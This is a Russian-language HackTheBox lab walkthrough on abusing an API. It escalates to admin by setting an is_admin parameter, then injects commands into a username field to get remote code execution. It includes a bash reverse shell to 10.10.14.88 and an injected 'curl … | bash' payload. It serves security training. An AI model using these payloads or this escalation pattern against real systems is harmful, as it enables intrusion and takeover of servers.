> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/api-attack/abus-api-hackthebox.md).

# Злоупотребление API HackTheBox

## Эксплуатация API HACKTHEBOX

<figure><img src="/files/4127ee1173685705f054abea966029f58e30b1af" alt=""><figcaption></figcaption></figure>

#### Наблюдение за API

Посетив `/api`, мы видим доступные маршруты

<figure><img src="/files/af3e89886b5b05af94102b500c6f26def619d9d6" alt=""><figcaption></figcaption></figure>

#### Попытка генерации конфигурации VPN (первичная неудача)

```bash
curl -v -X POST /
     -H "Content-Type: application/json" /
     --cookie "session=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate

```

ответ: неавторизован.

<figure><img src="/files/6392357770a6c0f62c67fd08778608a30767362a" alt=""><figcaption></figcaption></figure>

#### Изменение нашей роли через API

<figure><img src="/files/7b7ada4e9eb3d26dadaef817396d5b9f1fcae38f" alt=""><figcaption></figcaption></figure>

Мы тестируем изменение параметров пользователя с помощью маршрута:

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update

```

> {"status":"danger","message":"Отсутствует параметр: email"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com"}'

```

> {"status":"danger","message":"Отсутствует параметр: is/\_admin"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com", "is_admin": 1}'

```

> ответ:
>
> {"id":15,"username":"Jordan","is/\_admin":1}

<figure><img src="/files/1e5bca5b382d3fc60516e9d6cd002e52f397ae31" alt=""><figcaption></figcaption></figure>

#### Проверка нашего статуса администратора

```bash
curl -s -X GET /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/auth | jq
{
  "message": true
}

```

<figure><img src="/files/0134baaacf9eafb976d08c20b4c087dc9c0dcf2b" alt="" width="563"><figcaption></figcaption></figure>

### RCE через внедрение команды

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan@jordan.com"}'

```

<figure><img src="/files/7ffd35332f72cf2b3a06dd268b234d61ab784fba" alt=""><figcaption></figcaption></figure>

Попытка внедрения команды в поле `username`:

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;id #"}'

```

<figure><img src="/files/160cc74ee6e43afb3c621baccbcc8215f03c49df" alt=""><figcaption></figcaption></figure>

#### Обратная оболочка

1. **файлы сервера**

```bash
echo 'bash -i >& /dev/tcp/10.10.14.88/443 0>&1' > index.html
python3 -m http.server 80

```

2. **Прослушиватель Netcat**

```bash
nc -nvlp 443

```

3. **Отправка команды**

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;curl http://10.10.14.88 | bash"}'

```

Мы получаем обратную оболочку

<figure><img src="/files/d2e4991c8704cef444b8f0c65ebf1b4163841345" alt=""><figcaption></figcaption></figure>


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